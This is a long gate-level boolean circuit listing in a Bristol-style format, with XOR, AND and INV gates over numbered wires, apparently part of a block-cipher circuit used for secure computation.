13946 XOR +2 1 13946 33782 13932 AND +2 1 32964 33027 7132 XOR +2 1 7135 7132 6999 XOR +2 1 7140 7132 7028 XOR +2 1 32892 7028 35278 XOR +2 1 35278 882 33779 XOR +2 1 7132 35395 6954 XOR +1 1 6954 6952 INV +2 1 6952 6953 35270 XOR +2 1 33779 33781 22892 XOR +2 1 22892 22898 22980 XOR +2 1 33779 22898 22983 XOR +2 1 35270 890 33771 XOR +1 1 6934 35271 INV +2 1 35271 889 33772 XOR +2 1 33766 33772 14001 XOR +2 1 33771 14001 14087 XOR +2 1 33770 33772 13997 XOR +2 1 13997 33771 13956 XOR +2 1 33766 13956 14086 XOR +2 1 14086 33766 14072 AND +2 1 32957 6999 35295 XOR +2 1 35295 865 33796 XOR +2 1 33790 33796 7221 XOR +2 1 7215 7221 7304 XOR +2 1 33795 7221 7307 XOR +2 1 33791 7307 7303 XOR +2 1 7307 7303 7290 AND +1 1 23268 33028 INV +2 1 33028 19515 7006 XOR +2 1 7005 7006 35291 XOR +2 1 35291 869 33792 XOR +2 1 33797 33792 7308 XOR +2 1 33791 33792 7231 XOR +2 1 32886 33028 7147 XOR +2 1 7147 7124 7000 XOR +2 1 35408 7000 35267 XOR +2 1 35267 893 33768 XOR +2 1 7231 7304 7302 XOR +2 1 6988 33028 7017 XOR +2 1 7016 7017 7015 XOR +1 1 7015 35266 INV +2 1 35266 894 33767 XOR +2 1 33767 33769 13994 XOR +2 1 33768 13994 13996 XOR +2 1 14001 13996 14077 XOR +2 1 33771 13996 14075 XOR +2 1 33772 13996 14078 XOR +2 1 33767 14087 14083 XOR +2 1 14087 14083 14070 AND +2 1 7147 7125 7023 XOR +2 1 7023 7024 7022 XOR +1 1 7022 35282 INV +2 1 35282 878 33783 XOR +2 1 33783 13947 13943 XOR +2 1 13947 13943 13930 AND +2 1 33783 33784 13872 XOR +2 1 33783 33785 13854 XOR +2 1 33784 13854 13856 XOR +2 1 13861 13856 13937 XOR +2 1 33788 13856 13938 XOR +2 1 33768 33770 14091 XOR +2 1 33767 33768 14012 XOR +2 1 33787 13856 13935 XOR +2 1 33769 33768 13971 XOR +1 1 7083 33233 INV +2 1 33233 35448 6904 XOR +2 1 6904 6905 35352 XOR +2 1 35352 808 33853 XOR +2 1 33851 33853 7495 XOR +2 1 7495 7501 7584 XOR +2 1 33850 33853 7589 XOR +2 1 7511 7584 7582 XOR +2 1 7495 7591 7576 XOR +2 1 7589 7511 7585 XOR +2 1 7494 7589 7581 XOR +2 1 33846 7581 7580 XOR +2 1 7581 7585 7574 AND +2 1 7574 7497 7500 XOR +2 1 33853 33848 7588 XOR +2 1 7497 7495 7457 XOR +2 1 7494 7457 7579 XOR +2 1 7582 7580 7573 AND +2 1 7584 7577 7569 AND +2 1 7591 7576 7567 AND +2 1 7567 7573 7518 XOR +2 1 7588 7579 7566 AND +2 1 7566 7572 7523 XOR +2 1 7523 7495 7510 XOR +2 1 7518 7510 7562 XOR +2 1 7566 7569 7519 XOR +2 1 7567 7519 7513 XOR +2 1 7570 7513 7469 XOR +2 1 33847 7469 7557 XOR +2 1 33853 33847 7590 XOR +2 1 33233 33008 6927 XOR +2 1 6926 6927 6925 XOR +1 1 6925 35338 INV +2 1 35338 822 33839 XOR +2 1 33839 33840 7371 XOR +2 1 7371 7444 7442 XOR +2 1 33839 7447 7443 XOR +2 1 33845 33839 7450 XOR +2 1 7447 7443 7430 AND +2 1 33233 35432 6921 XOR +2 1 33233 35431 6923 XOR +2 1 6922 6923 35340 XOR +2 1 35340 820 33841 XOR +2 1 33841 33840 7331 XOR +2 1 33839 33841 7354 XOR +2 1 33840 7354 7356 XOR +2 1 33844 7356 7438 XOR +2 1 33843 7356 7435 XOR +2 1 7361 7356 7437 XOR +2 1 7450 7435 7431 AND +2 1 7431 7355 7359 XOR +2 1 7444 7437 7429 AND +2 1 6920 6921 35341 XOR +2 1 35341 819 33842 XOR +2 1 33842 33844 7357 XOR +2 1 33842 33845 7449 XOR +2 1 7354 7449 7441 XOR +2 1 33838 7441 7440 XOR +2 1 7449 7371 7445 XOR +2 1 33840 33842 7451 XOR +2 1 7355 7451 7436 XOR +2 1 7451 7436 7427 AND +2 1 7449 7438 7428 AND +2 1 7428 7356 7358 XOR +2 1 7427 7428 7330 XOR +2 1 7330 7331 7377 XOR +2 1 7377 7359 7376 XOR +2 1 7430 7376 7424 XOR +2 1 7441 7445 7434 AND +2 1 7434 7357 7360 XOR +2 1 7360 7358 7364 XOR +2 1 33845 7364 7369 XOR +2 1 7357 7355 7317 XOR +2 1 7442 7440 7433 AND +2 1 7427 7433 7378 XOR +2 1 7378 7369 7425 XOR +2 1 7425 7424 7421 AND +2 1 7354 7317 7439 XOR +2 1 7448 7439 7426 AND +2 1 7426 7429 7379 XOR +2 1 7359 7379 7333 XOR +2 1 7333 7358 7423 XOR +2 1 7421 7423 7420 XOR +2 1 7427 7379 7373 XOR +2 1 7430 7373 7329 XOR +2 1 33839 7329 7417 XOR +2 1 7357 33843 7316 XOR +2 1 33838 7316 7446 XOR +2 1 7446 33838 7432 AND +2 1 7426 7432 7383 XOR +2 1 7364 7383 7332 XOR +2 1 7383 7355 7370 XOR +2 1 7378 7370 7422 XOR +2 1 33843 7332 7375 XOR +2 1 7421 7375 7416 XOR +2 1 7422 7420 7419 AND +2 1 7419 7375 7418 XOR +2 1 7418 7437 7397 AND +2 1 7416 7417 7415 AND +2 1 7415 7423 7414 XOR +2 1 7421 7415 7413 XOR +2 1 7415 7373 7328 XOR +2 1 7423 7413 7412 AND +2 1 7412 7420 7410 XOR +2 1 7412 7430 7382 XOR +2 1 7382 7376 7404 XOR +2 1 33839 7382 7365 XOR +2 1 7365 7328 7411 XOR +2 1 7418 7410 7409 AND +2 1 7409 7378 7368 XOR +2 1 7368 7370 7408 XOR +2 1 7414 7446 7391 AND +2 1 7404 7445 7393 AND +2 1 7411 7442 7392 AND +2 1 7419 7369 7321 XOR +2 1 7368 7321 7405 XOR +2 1 7405 7435 7399 AND +2 1 7411 7440 7401 AND +2 1 7405 7450 7390 AND +2 1 7399 7390 7351 XOR +2 1 7408 7443 7389 AND +2 1 7397 7389 7353 XOR +2 1 7408 7447 7398 AND +2 1 7397 7398 7335 XOR +2 1 7398 7399 7384 XOR +2 1 7414 33838 7400 AND +2 1 7418 7444 7388 AND +2 1 7404 7441 7402 AND +2 1 7400 7402 7381 XOR +2 1 7409 7433 7326 XOR +2 1 7415 7432 7327 XOR +2 1 7327 7429 7322 XOR +2 1 7365 7326 7318 XOR +2 1 7355 7318 7325 XOR +2 1 7322 7325 7407 XOR +2 1 7407 7448 7385 AND +2 1 7419 7431 7324 XOR +2 1 7324 7360 7320 XOR +2 1 33843 7320 7319 XOR +2 1 33845 7320 7323 XOR +2 1 7322 7323 7406 XOR +2 1 7406 7438 7396 AND +2 1 7396 7385 7345 XOR +1 1 7345 7341 INV +2 1 7406 7449 7387 AND +2 1 7407 7439 7394 AND +2 1 7390 7394 7366 XOR +1 1 7366 7344 INV +2 1 7344 7388 7343 XOR +2 1 7343 7381 7339 XOR +2 1 7387 7339 7342 XOR +2 1 7341 7342 7452 XOR +1 1 7452 35601 INV +2 1 32959 35601 8185 XOR +2 1 7318 7319 7403 XOR +2 1 7403 7436 7395 AND +2 1 7395 7384 7374 XOR +2 1 7391 7374 7340 XOR +1 1 7340 7337 INV +2 1 7396 7374 7334 XOR +2 1 7395 7398 7350 XOR +1 1 7350 7347 INV +2 1 7395 7396 7346 XOR +2 1 7403 7451 7386 AND +2 1 7386 7387 7380 XOR +2 1 7353 7380 7349 XOR +2 1 7381 7349 7352 XOR +2 1 7351 7352 7455 XOR +2 1 7344 7349 7348 XOR +2 1 7347 7348 7454 XOR +2 1 7392 7380 7362 XOR +2 1 7362 7339 7338 XOR +2 1 7337 7338 35598 XOR +2 1 7393 7362 7363 XOR +2 1 7363 7334 35603 XOR +2 1 7401 7363 7367 XOR +2 1 7400 7367 7336 XOR +2 1 7402 7367 7372 XOR +2 1 7335 7336 35599 XOR +2 1 7372 7346 7453 XOR +2 1 7384 7372 35600 XOR +2 1 35596 35600 8188 XOR +1 1 7453 35602 INV +2 1 35595 35599 8197 XOR +1 1 8197 8078 INV +2 1 32960 35602 8183 XOR +2 1 35597 35603 8133 XOR +2 1 8133 35595 7921 XOR +2 1 7590 7575 7571 AND +2 1 7571 7495 7499 XOR +2 1 7499 7519 7473 XOR +2 1 7589 7578 7568 AND +2 1 7568 7496 7498 XOR +2 1 7500 7498 7504 XOR +2 1 33853 7504 7509 XOR +2 1 7518 7509 7565 XOR +2 1 7473 7498 7563 XOR +2 1 7567 7568 7470 XOR +2 1 7504 7523 7472 XOR +2 1 33851 7472 7515 XOR +2 1 7470 7471 7517 XOR +2 1 7517 7499 7516 XOR +2 1 7570 7516 7564 XOR +1 1 7455 32791 INV +1 1 7454 32798 INV +2 1 35594 35598 7922 XOR +2 1 7921 7922 8202 XOR +2 1 7565 7564 7561 AND +2 1 7561 7563 7560 XOR +2 1 7561 7515 7556 XOR +2 1 7562 7560 7559 AND +2 1 7559 7515 7558 XOR +2 1 7559 7509 7461 XOR +2 1 7559 7571 7464 XOR +2 1 7464 7500 7460 XOR +2 1 33851 7460 7459 XOR +2 1 33853 7460 7463 XOR +2 1 7558 7584 7528 AND +2 1 7556 7557 7555 AND +2 1 7555 7563 7554 XOR +2 1 7561 7555 7553 XOR +2 1 7555 7513 7468 XOR +2 1 7555 7572 7467 XOR +2 1 7467 7569 7462 XOR +2 1 7462 7463 7546 XOR +2 1 7554 33846 7540 AND +2 1 7546 7589 7527 AND +2 1 7563 7553 7552 AND +2 1 7552 7560 7550 XOR +2 1 7552 7570 7522 XOR +2 1 33847 7522 7505 XOR +2 1 7505 7468 7551 XOR +2 1 7522 7516 7544 XOR +2 1 7544 7581 7542 AND +2 1 7540 7542 7521 XOR +2 1 7558 7550 7549 AND +2 1 7549 7518 7508 XOR +2 1 7508 7510 7548 XOR +2 1 7549 7573 7466 XOR +2 1 7505 7466 7458 XOR +2 1 7495 7458 7465 XOR +2 1 7462 7465 7547 XOR +2 1 7458 7459 7543 XOR +2 1 7508 7461 7545 XOR +2 1 7543 7576 7535 AND +2 1 7551 7580 7541 AND +2 1 7554 7586 7531 AND +2 1 7545 7575 7539 AND +2 1 7547 7579 7534 AND +2 1 7551 7582 7532 AND +2 1 7548 7587 7538 AND +2 1 7535 7538 7490 XOR +1 1 7490 7487 INV +2 1 7538 7539 7524 XOR +2 1 7535 7524 7514 XOR +2 1 7531 7514 7480 XOR +1 1 7480 7477 INV +2 1 7558 7577 7537 AND +2 1 7537 7538 7475 XOR +2 1 7546 7578 7536 AND +2 1 7536 7514 7474 XOR +2 1 7535 7536 7486 XOR +2 1 7544 7585 7533 AND +2 1 7545 7590 7530 AND +2 1 7539 7530 7491 XOR +2 1 7530 7534 7506 XOR +1 1 7506 7484 INV +2 1 7484 7528 7483 XOR +2 1 7483 7521 7479 XOR +2 1 7527 7479 7482 XOR +2 1 7548 7583 7529 AND +2 1 7537 7529 7493 XOR +2 1 7543 7591 7526 AND +2 1 7526 7527 7520 XOR +2 1 7532 7520 7502 XOR +2 1 7533 7502 7503 XOR +2 1 7541 7503 7507 XOR +2 1 7542 7507 7512 XOR +2 1 7512 7486 7593 XOR +2 1 7524 7512 35661 XOR +2 1 7540 7507 7476 XOR +2 1 7502 7479 7478 XOR +2 1 7477 7478 35659 XOR +2 1 7503 7474 35662 XOR +2 1 35658 35662 8141 XOR +2 1 7475 7476 35660 XOR +2 1 35661 35660 7933 XOR +2 1 7493 7520 7489 XOR +2 1 7484 7489 7488 XOR +2 1 7487 7488 7594 XOR +2 1 35656 35660 8146 XOR +2 1 7521 7489 7492 XOR +2 1 7491 7492 7595 XOR +2 1 7547 7588 7525 AND +2 1 7536 7525 7485 XOR +1 1 7485 7481 INV +2 1 7481 7482 7592 XOR +2 1 8141 35659 7878 XOR +2 1 7878 7879 8220 XOR +1 1 7593 32795 INV +2 1 32795 32923 8093 XOR +1 1 7594 32796 INV +2 1 32796 32924 8100 XOR +1 1 7595 32797 INV +2 1 32797 32917 7877 XOR +1 1 7592 32802 INV +2 1 32795 32802 8081 XOR +2 1 32922 32802 8151 XOR +1 1 8151 8122 INV +1 1 6592 33240 INV +2 1 33240 35214 6487 XOR +2 1 33240 35213 6490 XOR +2 1 6489 6490 35107 XOR +2 1 35107 980 33681 XOR +2 1 33240 32900 6494 XOR +2 1 6486 6487 35108 XOR +2 1 35108 979 33682 XOR +2 1 6493 6494 6492 XOR +1 1 6492 35105 INV +2 1 35105 982 33679 XOR +2 1 33679 33681 31843 XOR +2 1 33680 31843 31845 XOR +2 1 33684 31845 31926 XOR +2 1 33683 31845 31923 XOR +2 1 31850 31845 31925 XOR +2 1 33682 33684 31846 XOR +2 1 33679 31935 31931 XOR +2 1 33682 33685 31937 XOR +2 1 31843 31937 31929 XOR +2 1 33678 31929 31928 XOR +2 1 33679 33680 31860 XOR +2 1 31860 31932 31930 XOR +2 1 31937 31860 31933 XOR +2 1 33680 33682 31939 XOR +2 1 31844 31939 31924 XOR +2 1 33681 33680 31820 XOR +2 1 31846 31844 31806 XOR +2 1 31843 31806 31927 XOR +2 1 31846 33683 31805 XOR +2 1 33678 31805 31934 XOR +2 1 33685 33679 31938 XOR +2 1 31929 31933 31922 AND +2 1 31922 31846 31849 XOR +2 1 31930 31928 31921 AND +2 1 31934 33678 31920 AND +2 1 31938 31923 31919 AND +2 1 31919 31844 31848 XOR +2 1 31935 31931 31918 AND +2 1 31932 31925 31917 AND +2 1 31937 31926 31916 AND +2 1 31916 31845 31847 XOR +2 1 31849 31847 31853 XOR +2 1 33685 31853 31858 XOR +2 1 31939 31924 31915 AND +2 1 31915 31921 31867 XOR +2 1 31867 31858 31913 XOR +2 1 31915 31916 31819 XOR +2 1 31819 31820 31866 XOR +2 1 31866 31848 31865 XOR +2 1 31918 31865 31912 XOR +2 1 31936 31927 31914 AND +2 1 31914 31917 31868 XOR +2 1 31914 31920 31872 XOR +2 1 31872 31844 31859 XOR +2 1 31867 31859 31910 XOR +2 1 31915 31868 31862 XOR +2 1 31848 31868 31822 XOR +2 1 31822 31847 31911 XOR +2 1 31853 31872 31821 XOR +2 1 33683 31821 31864 XOR +2 1 31918 31862 31818 XOR +2 1 33679 31818 31905 XOR +2 1 31913 31912 31909 AND +2 1 31909 31864 31904 XOR +2 1 31909 31911 31908 XOR +2 1 31910 31908 31907 AND +2 1 31907 31864 31906 XOR +2 1 31907 31919 31813 XOR +2 1 31813 31849 31809 XOR +2 1 33685 31809 31812 XOR +2 1 31907 31858 31810 XOR +2 1 33683 31809 31808 XOR +2 1 31904 31905 31903 AND +2 1 31903 31911 31902 XOR +2 1 31909 31903 31901 XOR +2 1 31903 31862 31817 XOR +2 1 31903 31920 31816 XOR +2 1 31816 31917 31811 XOR +2 1 31811 31812 31894 XOR +2 1 31911 31901 31900 AND +2 1 31900 31908 31898 XOR +2 1 31900 31918 31871 XOR +2 1 31871 31865 31892 XOR +2 1 33679 31871 31854 XOR +2 1 31854 31817 31899 XOR +2 1 31906 31898 31897 AND +2 1 31897 31867 31857 XOR +2 1 31857 31859 31896 XOR +2 1 31897 31921 31815 XOR +2 1 31854 31815 31807 XOR +2 1 31844 31807 31814 XOR +2 1 31811 31814 31895 XOR +2 1 31857 31810 31893 XOR +2 1 31807 31808 31891 XOR +2 1 31892 31929 31890 AND +2 1 31899 31928 31889 AND +2 1 31902 33678 31888 AND +2 1 31888 31890 31870 XOR +2 1 31893 31923 31887 AND +2 1 31896 31935 31886 AND +2 1 31906 31925 31885 AND +2 1 31885 31886 31824 XOR +2 1 31894 31926 31884 AND +2 1 31891 31924 31883 AND +2 1 31883 31886 31839 XOR +1 1 31839 31836 INV +2 1 31883 31884 31835 XOR +2 1 31895 31927 31882 AND +2 1 31892 31933 31881 AND +2 1 31899 31930 31880 AND +2 1 31902 31934 31879 AND +2 1 31893 31938 31878 AND +2 1 31878 31882 31855 XOR +2 1 31887 31878 31840 XOR +1 1 31855 31833 INV +2 1 31896 31931 31877 AND +2 1 31885 31877 31842 XOR +2 1 31906 31932 31876 AND +2 1 31833 31876 31832 XOR +2 1 31832 31870 31828 XOR +2 1 31894 31937 31875 AND +2 1 31875 31828 31831 XOR +2 1 31891 31939 31874 AND +2 1 31874 31875 31869 XOR +2 1 31880 31869 31851 XOR +2 1 31881 31851 31852 XOR +2 1 31889 31852 31856 XOR +2 1 31890 31856 31861 XOR +2 1 31842 31869 31838 XOR +2 1 31870 31838 31841 XOR +2 1 31840 31841 31943 XOR +2 1 31833 31838 31837 XOR +2 1 31836 31837 31942 XOR +2 1 31861 31835 31941 XOR +2 1 31851 31828 31827 XOR +2 1 31888 31856 31825 XOR +2 1 31824 31825 35455 XOR +2 1 35455 35459 7098 XOR +2 1 7166 7098 35364 XOR +2 1 35364 796 33865 XOR +2 1 7098 7096 7037 XOR +2 1 7037 7038 7036 XOR +1 1 7036 35388 INV +2 1 35388 772 33889 XOR +2 1 35455 6883 6882 XOR +2 1 31895 31936 31873 AND +2 1 31884 31873 31834 XOR +1 1 31834 31830 INV +2 1 31830 31831 31940 XOR +2 1 31886 31887 32726 XOR +2 1 31883 32726 31863 XOR +2 1 31884 31863 31823 XOR +2 1 31879 31863 31829 XOR +1 1 31829 31826 INV +2 1 31826 31827 35454 XOR +2 1 35449 35454 7118 XOR +2 1 7118 7104 7063 XOR +1 1 7063 7061 INV +2 1 7118 35462 7051 XOR +2 1 7118 7108 7039 XOR +2 1 35455 35454 6832 XOR +2 1 31852 31823 35457 XOR +2 1 35457 14649 7070 XOR +2 1 35457 35461 7093 XOR +2 1 35453 35457 7079 XOR +1 1 7079 7174 INV +2 1 7174 32890 7067 XOR +2 1 7174 35459 7062 XOR +2 1 7061 7062 35372 XOR +2 1 35372 788 33873 XOR +2 1 7093 35464 7050 XOR +2 1 7079 35465 7044 XOR +2 1 7069 7070 35368 XOR +2 1 7093 32991 6829 XOR +2 1 7174 35450 6881 XOR +2 1 6881 6882 7151 XOR +2 1 7151 7095 35373 XOR +2 1 35373 787 33874 XOR +2 1 7093 35458 6831 XOR +2 1 6831 6832 7172 XOR +2 1 7172 7104 35380 XOR +2 1 35380 780 33881 XOR +2 1 35368 792 33869 XOR +2 1 7101 7079 7032 XOR +2 1 35461 7032 35392 XOR +2 1 35392 768 33893 XOR +2 1 7128 7079 7068 XOR +2 1 35458 7039 35387 XOR +2 1 35387 773 33888 XOR +2 1 33893 33888 27177 XOR +2 1 33889 33888 27060 XOR +2 1 32991 35454 6887 XOR +2 1 6886 6887 35363 XOR +2 1 35363 797 33864 XOR +2 1 33869 33864 7728 XOR +2 1 33865 33864 7611 XOR +2 1 32726 31861 35456 XOR +2 1 35451 35456 7144 XOR +2 1 7144 7113 7060 XOR +2 1 32884 7060 35374 XOR +2 1 35374 786 33875 XOR +2 1 7090 35456 7076 XOR +2 1 7075 7076 35365 XOR +2 1 35365 795 33866 XOR +2 1 33864 33866 7731 XOR +2 1 33866 33869 7729 XOR +2 1 7144 7098 7049 XOR +2 1 7049 7050 35381 XOR +2 1 35381 779 33882 XOR +2 1 7150 7144 35389 XOR +2 1 35389 771 33890 XOR +2 1 33890 33893 27178 XOR +2 1 33888 33890 27180 XOR +2 1 32891 7068 35369 XOR +2 1 35369 791 33870 XOR +1 1 31942 33217 INV +2 1 32890 33217 7133 XOR +2 1 7133 7096 7064 XOR +2 1 35449 7064 35371 XOR +2 1 35371 789 33872 XOR +2 1 32878 33217 7052 XOR +2 1 7051 7052 35379 XOR +2 1 35379 781 33880 XOR +1 1 7133 7042 INV +2 1 7042 7128 7040 XOR +2 1 7040 7041 35386 XOR +2 1 35386 774 33887 XOR +2 1 33872 33874 7871 XOR +2 1 32992 33217 6844 XOR +2 1 6843 6844 7167 XOR +2 1 7167 7108 35362 XOR +2 1 35362 798 33863 XOR +2 1 33863 33864 7651 XOR +2 1 33869 33863 7730 XOR +2 1 7729 7651 7725 XOR +2 1 33873 33872 7751 XOR +2 1 33880 33882 24383 XOR +2 1 33881 33880 24263 XOR +2 1 33887 33889 27083 XOR +2 1 33888 27083 27085 XOR +2 1 27083 27178 27170 XOR +2 1 33887 33888 27100 XOR +2 1 27178 27100 27174 XOR +2 1 33893 33887 27179 XOR +2 1 27170 27174 27163 AND +2 1 33863 33865 7634 XOR +2 1 7634 7729 7721 XOR +2 1 7721 7725 7714 AND +2 1 33864 7634 7636 XOR +1 1 31943 33218 INV +2 1 32891 33218 7141 XOR +2 1 7141 7108 7066 XOR +2 1 7066 7067 7065 XOR +1 1 7065 35370 INV +2 1 7141 7093 7053 XOR +2 1 32992 7053 35377 XOR +2 1 35377 783 33878 XOR +2 1 7141 7078 7043 XOR +2 1 32879 7043 35385 XOR +2 1 33218 6888 35361 XOR +2 1 35361 799 33862 XOR +2 1 32879 33218 6830 XOR +2 1 6829 6830 7173 XOR +2 1 7173 7133 35378 XOR +2 1 35378 782 33879 XOR +2 1 33879 33881 24286 XOR +2 1 33880 24286 24288 XOR +2 1 33879 33880 24303 XOR +2 1 33862 7721 7720 XOR +2 1 35370 790 33871 XOR +2 1 33871 33873 7774 XOR +2 1 33872 7774 7776 XOR +2 1 33875 7776 7855 XOR +2 1 33871 33872 7791 XOR +2 1 35385 775 33886 XOR +2 1 33886 27170 27169 XOR +1 1 31940 33223 INV +2 1 33223 32884 7103 XOR +1 1 7103 7074 INV +2 1 7074 32989 7072 XOR +2 1 7072 7073 35366 XOR +2 1 35366 794 33867 XOR +2 1 33867 7636 7715 XOR +2 1 7730 7715 7711 AND +2 1 33223 35456 7048 XOR +2 1 7047 7048 35382 XOR +2 1 35382 778 33883 XOR +2 1 7101 33223 7056 XOR +2 1 7056 7057 7055 XOR +1 1 7055 35375 INV +2 1 35375 785 33876 XOR +2 1 33870 33876 7781 XOR +2 1 33876 7776 7858 XOR +2 1 7781 7776 7857 XOR +2 1 33875 7781 7867 XOR +2 1 33871 7867 7863 XOR +2 1 7867 7863 7850 AND +2 1 7103 7095 7035 XOR +2 1 32889 7035 35390 XOR +2 1 35390 770 33891 XOR +2 1 33867 33869 7635 XOR +2 1 7711 7635 7639 XOR +2 1 33874 33876 7777 XOR +2 1 33883 24288 24367 XOR +2 1 7635 7731 7716 XOR +2 1 7731 7716 7707 AND +2 1 33891 27085 27164 XOR +2 1 33891 33893 27084 XOR +2 1 27084 27180 27165 XOR +2 1 27179 27164 27160 AND +2 1 27160 27084 27088 XOR +2 1 27180 27165 27156 AND +2 1 7777 33875 7736 XOR +2 1 33870 7736 7866 XOR +2 1 7866 33870 7852 AND +1 1 31941 33224 INV +2 1 35452 33224 7143 XOR +2 1 7143 7078 7054 XOR +2 1 33224 7071 35367 XOR +2 1 35367 793 33868 XOR +2 1 33862 33868 7641 XOR +2 1 7635 7641 7724 XOR +2 1 33867 7641 7727 XOR +2 1 33863 7727 7723 XOR +2 1 7727 7723 7710 AND +2 1 7651 7724 7722 XOR +2 1 7722 7720 7713 AND +2 1 33868 7636 7718 XOR +2 1 7729 7718 7708 AND +2 1 7707 7708 7610 XOR +2 1 7610 7611 7657 XOR +2 1 7657 7639 7656 XOR +2 1 32877 33224 7045 XOR +2 1 7710 7656 7704 XOR +2 1 7143 7103 7046 XOR +2 1 35453 7054 35376 XOR +2 1 33866 33868 7637 XOR +2 1 7714 7637 7640 XOR +2 1 7637 7635 7597 XOR +2 1 7634 7597 7719 XOR +2 1 7728 7719 7706 AND +2 1 7637 33867 7596 XOR +2 1 33862 7596 7726 XOR +2 1 7726 33862 7712 AND +2 1 32990 7046 35383 XOR +2 1 35383 777 33884 XOR +2 1 7143 32989 7033 XOR +2 1 7033 7034 35391 XOR +2 1 35391 769 33892 XOR +2 1 7044 7045 35384 XOR +2 1 35384 776 33885 XOR +2 1 7708 7636 7638 XOR +2 1 7640 7638 7644 XOR +2 1 33869 7644 7649 XOR +2 1 33884 24288 24370 XOR +2 1 33883 33885 24287 XOR +2 1 24287 24383 24368 XOR +2 1 33882 33884 24289 XOR +2 1 33878 33884 24293 XOR +2 1 24293 24288 24369 XOR +2 1 33882 33885 24381 XOR +2 1 24381 24303 24377 XOR +2 1 24287 24293 24376 XOR +2 1 24303 24376 24374 XOR +2 1 24286 24381 24373 XOR +2 1 33878 24373 24372 XOR +2 1 33883 24293 24379 XOR +2 1 33879 24379 24375 XOR +2 1 24289 24287 24249 XOR +2 1 24286 24249 24371 XOR +2 1 24289 33883 24248 XOR +2 1 33878 24248 24378 XOR +2 1 33885 33879 24382 XOR +2 1 33885 33880 24380 XOR +2 1 24373 24377 24366 AND +2 1 24366 24289 24292 XOR +2 1 24374 24372 24365 AND +2 1 24378 33878 24364 AND +2 1 24382 24367 24363 AND +2 1 24363 24287 24291 XOR +2 1 24379 24375 24362 AND +2 1 24376 24369 24361 AND +2 1 24381 24370 24360 AND +2 1 24360 24288 24290 XOR +2 1 24292 24290 24296 XOR +2 1 33885 24296 24301 XOR +2 1 24383 24368 24359 AND +2 1 24359 24365 24310 XOR +2 1 24310 24301 24357 XOR +2 1 24359 24360 24262 XOR +2 1 24262 24263 24309 XOR +2 1 24309 24291 24308 XOR +2 1 24362 24308 24356 XOR +2 1 24380 24371 24358 AND +2 1 24358 24361 24311 XOR +2 1 24358 24364 24315 XOR +2 1 24315 24287 24302 XOR +2 1 24310 24302 24354 XOR +2 1 24359 24311 24305 XOR +2 1 24291 24311 24265 XOR +2 1 24265 24290 24355 XOR +2 1 24296 24315 24264 XOR +2 1 33883 24264 24307 XOR +2 1 24362 24305 24261 XOR +2 1 33879 24261 24349 XOR +2 1 24357 24356 24353 AND +2 1 24353 24307 24348 XOR +2 1 24353 24355 24352 XOR +2 1 24354 24352 24351 AND +2 1 24351 24307 24350 XOR +2 1 24351 24363 24256 XOR +2 1 24256 24292 24252 XOR +2 1 33885 24252 24255 XOR +2 1 24351 24301 24253 XOR +2 1 33883 24252 24251 XOR +2 1 24348 24349 24347 AND +2 1 24347 24355 24346 XOR +2 1 24353 24347 24345 XOR +2 1 24347 24305 24260 XOR +2 1 24347 24364 24259 XOR +2 1 24259 24361 24254 XOR +2 1 24254 24255 24338 XOR +2 1 24355 24345 24344 AND +2 1 24344 24352 24342 XOR +2 1 24344 24362 24314 XOR +2 1 24314 24308 24336 XOR +2 1 33879 24314 24297 XOR +2 1 24297 24260 24343 XOR +2 1 24350 24342 24341 AND +2 1 24341 24310 24300 XOR +2 1 24300 24302 24340 XOR +2 1 24341 24365 24258 XOR +2 1 24297 24258 24250 XOR +2 1 24287 24250 24257 XOR +2 1 24254 24257 24339 XOR +2 1 24300 24253 24337 XOR +2 1 24250 24251 24335 XOR +2 1 24336 24373 24334 AND +2 1 24343 24372 24333 AND +2 1 24346 33878 24332 AND +2 1 24332 24334 24313 XOR +2 1 24337 24367 24331 AND +2 1 24340 24379 24330 AND +2 1 24330 24331 24316 XOR +2 1 24350 24369 24329 AND +2 1 24329 24330 24267 XOR +2 1 24338 24370 24328 AND +2 1 24335 24368 24327 AND +2 1 24327 24316 24306 XOR +2 1 24327 24330 24282 XOR +1 1 24282 24279 INV +2 1 24327 24328 24278 XOR +2 1 24328 24306 24266 XOR +2 1 24339 24371 24326 AND +2 1 24336 24377 24325 AND +2 1 24343 24374 24324 AND +2 1 24346 24378 24323 AND +2 1 24323 24306 24272 XOR +1 1 24272 24269 INV +2 1 24337 24382 24322 AND +2 1 24322 24326 24298 XOR +2 1 24331 24322 24283 XOR +1 1 24298 24276 INV +2 1 24340 24375 24321 AND +2 1 24329 24321 24285 XOR +2 1 24350 24376 24320 AND +2 1 24276 24320 24275 XOR +2 1 24275 24313 24271 XOR +2 1 24338 24381 24319 AND +2 1 24319 24271 24274 XOR +2 1 24335 24383 24318 AND +2 1 24318 24319 24312 XOR +2 1 24324 24312 24294 XOR +2 1 24325 24294 24295 XOR +2 1 24333 24295 24299 XOR +2 1 24334 24299 24304 XOR +2 1 24316 24304 35607 XOR +2 1 35607 35600 8061 XOR +2 1 24285 24312 24281 XOR +2 1 24313 24281 24284 XOR +2 1 24283 24284 24387 XOR +2 1 24276 24281 24280 XOR +2 1 24279 24280 24386 XOR +2 1 24386 32954 7920 XOR +2 1 24304 24278 24385 XOR +2 1 24294 24271 24270 XOR +2 1 24269 24270 35605 XOR +1 1 35605 7927 INV +2 1 32953 7927 8107 XOR +2 1 24332 24299 24268 XOR +2 1 24267 24268 35606 XOR +2 1 35606 35599 7918 XOR +2 1 24295 24266 35608 XOR +2 1 35603 35608 8134 XOR +1 1 8134 8067 INV +2 1 8067 32798 8071 XOR +2 1 24339 24380 24317 AND +2 1 24328 24317 24277 XOR +1 1 24277 24273 INV +2 1 24273 24274 24384 XOR +1 1 24386 35604 INV +2 1 7641 7636 7717 XOR +2 1 7724 7717 7709 AND +2 1 32798 35604 8174 XOR +2 1 35598 35605 8172 XOR +1 1 8172 8054 INV +2 1 8197 8054 8065 XOR +2 1 8054 35594 8052 XOR +2 1 7707 7713 7658 XOR +2 1 7706 7709 7659 XOR +2 1 7639 7659 7613 XOR +2 1 7613 7638 7703 XOR +2 1 7707 7659 7653 XOR +2 1 7710 7653 7609 XOR +2 1 33863 7609 7697 XOR +2 1 33892 27085 27167 XOR +2 1 33890 33892 27086 XOR +2 1 27163 27086 27089 XOR +2 1 33886 33892 27090 XOR +2 1 27090 27085 27166 XOR +2 1 27084 27090 27173 XOR +2 1 27100 27173 27171 XOR +2 1 33891 27090 27176 XOR +2 1 33887 27176 27172 XOR +2 1 27086 27084 27046 XOR +2 1 27083 27046 27168 XOR +2 1 27086 33891 27045 XOR +2 1 33886 27045 27175 XOR +2 1 27171 27169 27162 AND +2 1 27156 27162 27107 XOR 